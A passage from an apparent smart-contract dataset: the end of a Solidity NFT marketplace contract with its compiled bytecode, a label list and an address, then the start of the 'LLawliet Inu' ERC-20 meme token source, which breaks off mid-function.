ethBalance[_msgSender()],"Insufficient funds to withdraw."); ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(amount); (bool success, ) = msg.sender.call{value:amount}(""); require(success); emit Withdraw(_msgSender(), amount); } function deposit() external payable { ethBalance[_msgSender()] = ethBalance[_msgSender()].add(msg.value); emit Deposit(_msgSender(), msg.value); } }
0x6080604052600436106102515760003560e01c8063906f333011610139578063bff29cee116100b6578063d8f3790f1161007a578063d8f3790f1461075a578063e272b89214610787578063e985e9c5146107a7578063ef5793ce146107f0578063f6e4bba614610810578063f7932ab81461083057600080fd5b8063bff29cee146106d1578063c87b56dd146106f0578063d0e30db014610710578063d539139314610718578063d547741f1461073a57600080fd5b8063a22cb465116100fd578063a22cb46514610642578063aafb2d4414610662578063b291850314610682578063b66a0e5d1461069c578063b88d4fde146106b157600080fd5b8063906f33301461054e57806390ba7a321461056e57806391d14854146105f857806395d89b4114610618578063a217fddf1461062d57600080fd5b80632f2ff15d116101d25780636352211e116101965780636352211e1461048857806370a08231146104a857806375b238fc146104c85780637ed0f281146104fc5780637fc9b4a61461051c5780638a67456a1461052f57600080fd5b80632f2ff15d146103db57806336568abe146103fb57806340398d671461041b57806342842e0e1461044857806355f804b31461046857600080fd5b806323b872dd1161021957806323b872dd14610326578063248a9ca31461034657806329ee566c146103765780632d1a12f61461039b5780632e1a7d4d146103bb57600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557806318160ddd14610307575b600080fd5b34801561026257600080fd5b5061027661027136600461308e565b610850565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a0610861565b6040516102829190613276565b3480156102b957600080fd5b506102cd6102c8366004613054565b6108f3565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b50610305610300366004612f57565b610980565b005b34801561031357600080fd5b506005545b604051908152602001610282565b34801561033257600080fd5b50610305610341366004612e7a565b610a96565b34801561035257600080fd5b50610318610361366004613054565b60009081526020819052604090206001015490565b34801561038257600080fd5b506006546102cd9061010090046001600160a01b031681565b3480156103a757600080fd5b506103056103b636600461306c565b610ac7565b3480156103c757600080fd5b506103056103d6366004613054565b610b95565b3480156103e757600080fd5b506103056103f636600461306c565b610d00565b34801561040757600080fd5b5061030561041636600461306c565b610d8f565b34801561042757600080fd5b5061043b610436366004612e2e565b610e09565b6040516102829190613232565b34801561045457600080fd5b50610305610463366004612e7a565b610e75565b34801561047457600080fd5b506102766104833660046130c6565b610e90565b34801561049457600080fd5b506102cd6104a3366004613054565b610ee2565b3480156104b457600080fd5b506103186104c3366004612e2e565b610f59565b3480156104d457600080fd5b506103187fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b34801561050857600080fd5b50610276610517366004613054565b610fe0565b61027661052a366004613054565b611079565b34801561053b57600080fd5b5060105461027690610100900460ff1681565b34801561055a57600080fd5b506102766105693660046130f9565b6113f4565b34801561057a57600080fd5b506105c4610589366004613054565b6007602052600090815260409020805460018201546002830154600384015460049094015492936001600160a01b0392831693929091169185565b604080519586526001600160a01b03948516602087015292909316918401919091526060830152608082015260a001610282565b34801561060457600080fd5b5061027661061336600461306c565b6114f8565b34801561062457600080fd5b506102a0611521565b34801561063957600080fd5b50610318600081565b34801561064e57600080fd5b5061030561065d366004612f2e565b611530565b34801561066e57600080fd5b5061027661067d366004612f80565b6115f5565b34801561068e57600080fd5b506006546102769060ff1681565b3480156106a857600080fd5b50610305611777565b3480156106bd57600080fd5b506103056106cc366004612eb5565b6117f3565b6106d961182a565b604080519215158352602083019190915201610282565b3480156106fc57600080fd5b506102a061070b366004613054565b611a0e565b610305611abb565b34801561072457600080fd5b5061031860008051602061359c83398151915281565b34801561074657600080fd5b5061030561075536600461306c565b611b06565b34801561076657600080fd5b50610318610775366004612e2e565b60116020526000908152604090205481565b34801561079357600080fd5b506103056107a236600461303a565b611b86565b3480156107b357600080fd5b506102766107c2366004612e48565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205460ff1690565b3480156107fc57600080fd5b5061031861080b366004612f57565b611c1c565b34801561081c57600080fd5b5061027661082b366004613054565b611c4d565b34801561083c57600080fd5b5061027661084b366004612e2e565b6120b2565b600061085b82612160565b92915050565b606060018054610870906134e0565b80601f016020809104026020016040519081016040528092919081815260200182805461089c906134e0565b80156108e95780601f106108be576101008083540402835291602001916108e9565b820191906000526020600020905b8154815290600101906020018083116108cc57829003601f168201915b5050505050905090565b60006108fe826121a0565b6109645760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600a60205260409020546001600160a01b031690565b600061098b82610ee2565b9050806001600160a01b0316836001600160a01b031614156109f95760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161095b565b336001600160a01b0382161480610a155750610a1581336107c2565b610a875760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161095b565b610a9183836121bd565b505050565b610aa0338261222b565b610abc5760405162461bcd60e51b815260040161095b90613369565b610a91838383612315565b610adf60008051602061359c833981519152336114f8565b610afb5760405162461bcd60e51b815260040161095b906132db565b61271082600554610b0c9190613446565b1115610b5a5760405162461bcd60e51b815260206004820152601d60248201527f54686520746f6b656e73206c696d69742068617320726561636865642e000000604482015260640161095b565b60005b82811015610a915760006005546001610b769190613446565b9050610b8283826124ad565b5080610b8d8161351b565b915050610b5d565b60105460ff1615610bb85760405162461bcd60e51b815260040161095b906133ba565b6010805460ff191660011790819055610100900460ff1615610bd957600080fd5b33600090815260116020526040902054811115610c385760405162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e742066756e647320746f2077697468647261772e00604482015260640161095b565b610c628160116000335b6001600160a01b0316815260208101919091526040016000205490612648565b3360008181526011602052604080822093909355915183908381818185875af1925050503d8060008114610cb2576040519150601f19603f3d011682016040523d82523d6000602084013e610cb7565b606091505b5050905080610cc557600080fd5b604051829033907f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436490600090a350506010805460ff19169055565b600082815260208190526040902060010154610d1d905b336114f8565b610d815760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526e0818591b5a5b881d1bc819dc985b9d608a1b606482015260840161095b565b610d8b8282612668565b5050565b6001600160a01b0381163314610dff5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b606482015260840161095b565b610d8b82826126ec565b6001600160a01b0381166000908152600e6020908152604091829020805483518184028101840190945280845260609392830182828015610e6957602002820191906000526020600020905b815481526020019060010190808311610e55575b50505050509050919050565b610a91838383604051806020016040528060008152506117f3565b6000610eaa60008051602061359c833981519152336114f8565b610ec65760405162461bcd60e51b815260040161095b906132db565b8151610ed9906003906020850190612c60565b50600192915050565b6000818152600860205260408120546001600160a01b03168061085b5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161095b565b60006001600160a01b038216610fc45760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161095b565b506001600160a01b031660009081526009602052604090205490565b6000610fed335b8361222b565b6110095760405162461bcd60e51b815260040161095b90613326565b6000828152600760205260408082208281556001810180546001600160a01b031990811690915560028201805490911690556003810183905560040182905551839133917f6d97e11e5e36c8f052a95826e5998a393bc23c1ca95dc24d00e28ce375dae1fc9190a3506001919050565b60105460009060ff161561109f5760405162461bcd60e51b815260040161095b906133ba565b6010805460ff191660011790556110b5826121a0565b6110fc5760405162461bcd60e51b8152602060048201526018602482015277151a19481d1bdad95b881a5cc81b9bdb995e1a5cdd195b9d60421b604482015260640161095b565b600082815260076020908152604091829020825160a0810184528154815260018201546001600160a01b0390811693820184905260028301541693810193909352600381015460608401526004015460808301526111985760405162461bcd60e51b815260206004820152601960248201527854686520746f6b656e206973206e6f7420666f722073616c6560381b604482015260640161095b565b6111a3335b8461222b565b156111f05760405162461bcd60e51b815260206004820152601860248201527f546865206f776e65722063616e2774206d616b65206269640000000000000000604482015260640161095b565b60408101516001600160a01b031633141561126e57600034116112555760405162461bcd60e51b815260206004820152601e60248201527f496e73756666696369656e742066756e647320746f206d616b65206269640000604482015260640161095b565b60808101516112649034612751565b60808201526112de565b806060015134101580156112855750806080015134115b6112d15760405162461bcd60e51b815260206004820152601e60248201527f496e73756666696369656e742066756e647320746f206d616b65206269640000604482015260640161095b565b3460808201523360408201525b6113083460116000335b6001600160a01b0316815260208101919091526040016000205490612751565b336000818152601160209081526040808320949094558682526007815283822085518155908501516001820180546001600160a01b039283166001600160a01b03199182161790915586860151600284018054919093169116179055606085015160038201556080850151600490910155915134927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c91a38281608001516113ad3390565b6001600160a01b03167f87f5b2fe112bf269d30fb8ca9dc0bde0afd0cc39258e13fafd75fe794795bf0e60405160405180910390a450506010805460ff1916905550600190565b60006113ff3361119d565b61141b5760405162461bcd60e51b815260040161095b90613326565b6040518060a001604052808481526020016114333390565b6001600160a01b0390811682526000602080840182905260408085018890526060948501839052888352600782529182902085518155908501516001820180549185166001600160a01b0319928316179055918501516002820180549190941692169190911790915590820151600382015560809091015160049091015581836114ba3390565b6001600160a01b03167f3717c35c2bbd44105584b2f11db3f276443b6788fbbd518272b823fa5988802460405160405180910390a450600192915050565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b606060028054610870906134e0565b6001600160a01b0382163314156115895760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161095b565b336000818152600b602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60006116217fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775336114f8565b6116935760405162461bcd60e51b815260206004820152603860248201527f596f75206d7573742068617665206d696e746572206f7220616e2061646d696e60448201527f20726f6c6520746f206368616e676520746f6b656e5552490000000000000000606482015260840161095b565b81518351146116ee5760405162461bcd60e51b815260206004820152602160248201527f57726f6e6720636f756e74206f6620746f6b656e496473206f722068617368656044820152607360f81b606482015260840161095b565b60005b83518160ff16101561176d5761175b848260ff168151811061172357634e487b7160e01b600052603260045260246000fd5b6020026020010151848360ff168151811061174e57634e487b7160e01b600052603260045260246000fd5b602002602001015161276c565b8061176581613536565b9150506116f1565b5060019392505050565b61178f60008051602061359c833981519152336114f8565b6117ab5760405162461bcd60e51b815260040161095b906132db565b60065460ff16156117bb57600080fd5b6006805460ff191660011790556040517f3a40cba5bc9ba53b982e020c19f51fdf3b4e536da88b16beafe417447277536d90600090a1565b6117fc33610fe7565b6118185760405162461bcd60e51b815260040161095b90613369565b611824848484846127f7565b50505050565b601054600090819060ff16156118525760405162461bcd60e51b815260040161095b906133ba565b6010805460ff191660011790819055610100900460ff161561187357600080fd5b60065460ff166118c55760405162461bcd60e51b815260206004820152601860248201527f5468652073616c65206861736e277420737461727465642e0000000000000000604482015260640161095b565b61271060055460016118d79190613446565b11156119255760405162461bcd60e51b815260206004820152601d60248201527f54686520746f6b656e73206c696d69742068617320726561636865642e000000604482015260640161095b565b6004543410156119775760405162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e742066756e647320746f2070757263686173652e00604482015260640161095b565b60065460405160009161010090046001600160a01b03169034908381818185875af1925050503d80600081146119c9576040519150601f19603f3d011682016040523d82523d6000602084013e6119ce565b606091505b50509050806119dc57600080fd5b600060055460016119ed9190613446565b90506119f933826124ad565b600193509150506010805460ff191690559091565b6060611a19826121a0565b611a7d5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161095b565b611a8561282a565b6000838152600c60209081526040918290209151611aa593929101613146565b6040516020818303038152906040529050919050565b611ac93460116000336112e8565b3360008181526011602052604080822093909355915134927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c91a3565b600082815260208190526040902060010154611b2190610d17565b610dff5760405162461bcd60e51b815260206004820152603060248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526f2061646d696e20746f207265766f6b6560801b606482015260840161095b565b611b9e60008051602061359c833981519152336114f8565b611c025760405162461bcd60e51b815260206004820152602f60248201527f596f75206d7573742068617665206d696e74657220726f6c6520746f2070617560448201526e1cd9481d1a194818dbdb9d1c9858dd608a1b606482015260840161095b565b601080549115156101000261ff0019909216919091179055565b600d6020528160005260406000208181548110611c3857600080fd5b90600052602060002001600091509150505481565b60105460009060ff1615611c735760405162461bcd60e51b815260040161095b906133ba565b6010805460ff191660011790819055610100900460ff1615611c9457600080fd5b611c9d826121a0565b611ce45760405162461bcd60e51b8152602060048201526018602482015277151a19481d1bdad95b881a5cc81b9bdb995e1a5cdd195b9d60421b604482015260640161095b565b600082815260076020908152604091829020825160a0810184528154815260018201546001600160a01b039081169382018490526002830154169381019390935260038101546060840152600401546080830152611d805760405162461bcd60e51b815260206004820152601960248201527854686520746f6b656e206973206e6f7420666f722073616c6560381b604482015260640161095b565b611d893361119d565b611de75760405162461bcd60e51b815260206004820152602960248201527f4f6e6c79206f776e6572206f7220617070726f7665642063616e2061636365706044820152681d081d1a1948189a5960ba1b606482015260840161095b565b60808101516040808301516001600160a01b03166000908152601160205220541015611e665760405162461bcd60e51b815260206004820152602860248201527f496e73756666696369656e742066756e6473206f6620746865206269646465726044820152672062616c616e636560c01b606482015260840161095b565b60008381526007602052604081208181556001810180546001600160a01b0319908116909155600280830180549092169091556003820183905560049091018290556080830151611eb99060649061345e565b611ec3919061347e565b60808301516040808501516001600160a01b0316600090815260116020522054919250611ef09190612648565b6040808401516001600160a01b0316600090815260116020819052918120929092556080840151611f2492909190336112e8565b336000818152601160208190526040822093909355611f47928492909190610c42565b33600090815260116020526040808220929092556006549151909161010090046001600160a01b03169083908381818185875af1925050503d8060008114611fab576040519150601f19603f3d011682016040523d82523d6000602084013e611fb0565b606091505b5050905080611fbe57600080fd5b611fd18360200151846040015187612315565b604051859033907f6d97e11e5e36c8f052a95826e5998a393bc23c1ca95dc24d00e28ce375dae1fc90600090a3608083015160408401516001600160a01b0316336001600160a01b03167f4b5796113f074ebf8f11d5bcdeb6349b2fbe47abed78419cdcdbbc15c6fcf8458860405161204c91815260200190565b60405180910390a48483604001516001600160a01b031684602001516001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a450506010805460ff1916905550600192915050565b60006120cc60008051602061359c833981519152336114f8565b6121345760405162461bcd60e51b815260206004820152603360248201527f596f75206d7573742068617665206d696e74657220726f6c6520746f206368616044820152726e676520726f79616c7479206164647265737360681b606482015260840161095b565b50600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055600190565b60006001600160e01b031982166380ac58cd60e01b148061219157506001600160e01b03198216635b5e139f60e01b145b8061085b575061085b82612839565b6000908152600860205260409020546001600160a01b0316151590565b6000818152600a6020526040902080546001600160a01b0319166001600160a01b03841690811790915581906121f282610ee2565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612236826121a0565b6122975760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161095b565b60006122a283610ee2565b9050806001600160a01b0316846001600160a01b031614806122dd5750836001600160a01b03166122d2846108f3565b6001600160a01b0316145b8061230d57506001600160a01b038082166000908152600b602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661232882610ee2565b6001600160a01b0316146123905760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161095b565b6001600160a01b0382166123f25760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161095b565b6123fd6000826121bd565b612407838261286e565b6124118282612a84565b6001600160a01b038316600090815260096020526040812080546001929061243a90849061349d565b90915550506001600160a01b0382166000908152600960205260408120805460019290612468908490613446565b909155505060405181906001600160a01b0380851691908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90600090a4505050565b6001600160a01b0382166125035760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161095b565b61250c816121a0565b156125595760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161095b565b6001600160a01b0382166000908152600960205260408120805460019290612582908490613446565b9250508190555060016005600082825461259c9190613446565b90915550506001600160a01b0382166000908152600d60209081526040822080546001810182559083529120018190556125d68282612a84565b6040516001600160a01b0383169082907ff3cea5493d790af0133817606f7350a91d7f154ea52eaa79d179d4d231e5010290600090a360405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008282111561265757600080fd5b612661828461349d565b9392505050565b61267282826114f8565b610d8b576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556126a83390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6126f682826114f8565b15610d8b576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600061275d8284613446565b90508281101561085b57600080fd5b612775826121a0565b6127d85760405162461bcd60e51b815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201526d32bc34b9ba32b73a103a37b5b2b760911b606482015260840161095b565b6000828152600c602090815260409091208251610a9192840190612c60565b612802848484612315565b61280e84848484612b53565b6118245760405162461bcd60e51b815260040161095b90613289565b606060038054610870906134e0565b60006001600160e01b03198216637965db0b60e01b148061085b57506301ffc9a760e01b6001600160e01b031983161461085b565b6000818152600860205260409020546001600160a01b038381169116146128ca5760405162461bcd60e51b815260206004820152601060248201526f24b731b7b93932b1ba1037bbb732b91760811b604482015260640161095b565b600081815260086020908152604080832080546001600160a01b031990811690915560078352818420848155600181810180548416905560028201805490931690925560038101859055600401849055600f8352818420546001600160a01b0387168552600e9093529083205491929161294391612648565b90508181146129f6576001600160a01b0384166000908152600e6020526040812080548390811061298457634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600e6000876001600160a01b03166001600160a01b0316815260200190815260200160002084815481106129d657634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600f9052604090208290555b6001600160a01b0384166000908152600e60205260409020805480612a2b57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905582612a493390565b6001600160a01b03167f6d97e11e5e36c8f052a95826e5998a393bc23c1ca95dc24d00e28ce375dae1fc60405160405180910390a350505050565b6000818152600860205260409020546001600160a01b031615612ae95760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f74206164642c20616c7265616479206f776e65642e000000000000604482015260640161095b565b600081815260086020908152604080832080546001600160a01b0319166001600160a01b038716908117909155808452600e83529083208054600181810183558286529385200185905592529054612b4091612648565b6000918252600f60205260409091205550565b60006001600160a01b0384163b15612c5557604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612b979033908990889088906004016131f5565b602060405180830381600087803b158015612bb157600080fd5b505af1925050508015612be1575060408051601f3d908101601f19168201909252612bde918101906130aa565b60015b612c3b573d808015612c0f576040519150601f19603f3d011682016040523d82523d6000602084013e612c14565b606091505b508051612c335760405162461bcd60e51b815260040161095b90613289565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061230d565b506001949350505050565b828054612c6c906134e0565b90600052602060002090601f016020900481019282612c8e5760008555612cd4565b82601f10612ca757805160ff1916838001178555612cd4565b82800160010185558215612cd4579182015b82811115612cd4578251825591602001919060010190612cb9565b50612ce0929150612ce4565b5090565b5b80821115612ce05760008155600101612ce5565b600067ffffffffffffffff831115612d1357612d1361356c565b612d26601f8401601f19166020016133f1565b9050828152838383011115612d3a57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114612d6857600080fd5b919050565b600082601f830112612d7d578081fd5b81356020612d92612d8d83613422565b6133f1565b80838252828201915082860187848660051b8901011115612db1578586fd5b855b85811015612df257813567ffffffffffffffff811115612dd1578788fd5b612ddf8a87838c0101612e0f565b8552509284019290840190600101612db3565b5090979650505050505050565b80358015158114612d6857600080fd5b600082601f830112612e1f578081fd5b61266183833560208501612cf9565b600060208284031215612e3f578081fd5b61266182612d51565b60008060408385031215612e5a578081fd5b612e6383612d51565b9150612e7160208401612d51565b90509250929050565b600080600060608486031215612e8e578081fd5b612e9784612d51565b9250612ea560208501612d51565b9150604084013590509250925092565b60008060008060808587031215612eca578081fd5b612ed385612d51565b9350612ee160208601612d51565b925060408501359150606085013567ffffffffffffffff811115612f03578182fd5b8501601f81018713612f13578182fd5b612f2287823560208401612cf9565b91505092959194509250565b60008060408385031215612f40578182fd5b612f4983612d51565b9150612e7160208401612dff565b60008060408385031215612f69578182fd5b612f7283612d51565b946020939093013593505050565b60008060408385031215612f92578182fd5b823567ffffffffffffffff80821115612fa9578384fd5b818501915085601f830112612fbc578384fd5b81356020612fcc612d8d83613422565b8083825282820191508286018a848660051b8901011115612feb578889fd5b8896505b8487101561300d578035835260019690960195918301918301612fef565b5096505086013592505080821115613023578283fd5b5061303085828601612d6d565b9150509250929050565b60006020828403121561304b578081fd5b61266182612dff565b600060208284031215613065578081fd5b5035919050565b6000806040838503121561307e578182fd5b82359150612e7160208401612d51565b60006020828403121561309f578081fd5b813561266181613582565b6000602082840312156130bb578081fd5b815161266181613582565b6000602082840312156130d7578081fd5b813567ffffffffffffffff8111156130ed578182fd5b61230d84828501612e0f565b6000806040838503121561310b578182fd5b50508035926020909101359150565b600081518084526131328160208601602086016134b4565b601f01601f19169290920160200192915050565b60008351602061315982858389016134b4565b8454918401918390600181811c908083168061317657607f831692505b85831081141561319457634e487b7160e01b88526022600452602488fd5b8080156131a857600181146131b9576131e5565b60ff198516885283880195506131e5565b60008b815260209020895b858110156131dd5781548a8201529084019088016131c4565b505083880195505b50939a9950505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906132289083018461311a565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561326a5783518352928401929184019160010161324e565b50909695505050505050565b602081526000612661602083018461311a565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252602b908201527f596f75206d7573742068617665206d696e74657220726f6c6520746f2063686160408201526a6e6765206261736555524960a81b606082015260800190565b60208082526023908201527f5468652073656c6c6572206973206e6f74206f776e6572206f7220617070726f6040820152621d995960ea1b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561341a5761341a61356c565b604052919050565b600067ffffffffffffffff82111561343c5761343c61356c565b5060051b60200190565b6000821982111561345957613459613556565b500190565b60008261347957634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561349857613498613556565b500290565b6000828210156134af576134af613556565b500390565b60005b838110156134cf5781810151838201526020016134b7565b838111156118245750506000910152565b600181811c908216806134f457607f821691505b6020821081141561351557634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561352f5761352f613556565b5060010190565b600060ff821660ff81141561354d5761354d613556565b60010192915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461359857600080fd5b5056fe9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6a2646970667358221220933abc73add7efad02665d3c20028a4685c5cc61bc9f4b66d1dabea42038dcc264736f6c63430008040033
[ 13, 4, 5 ]
0xf1bf1c009032418b64648c5963c944b73581d548
// Telegram: t.me/LLawlietInu // Twitter: twitter.com/LLawlietInu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LLawlietInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "LLawliet Inu"; string private constant _symbol = "$LINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x5eAe4093c2B774B71F58B6784202baD5C679a915); _feeAddrWallet2 = payable(0x5eAe4093c2B774B71F58B6784202baD5C679a915); _rOwned[address(this)] = _rTotal.div(2); _rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the 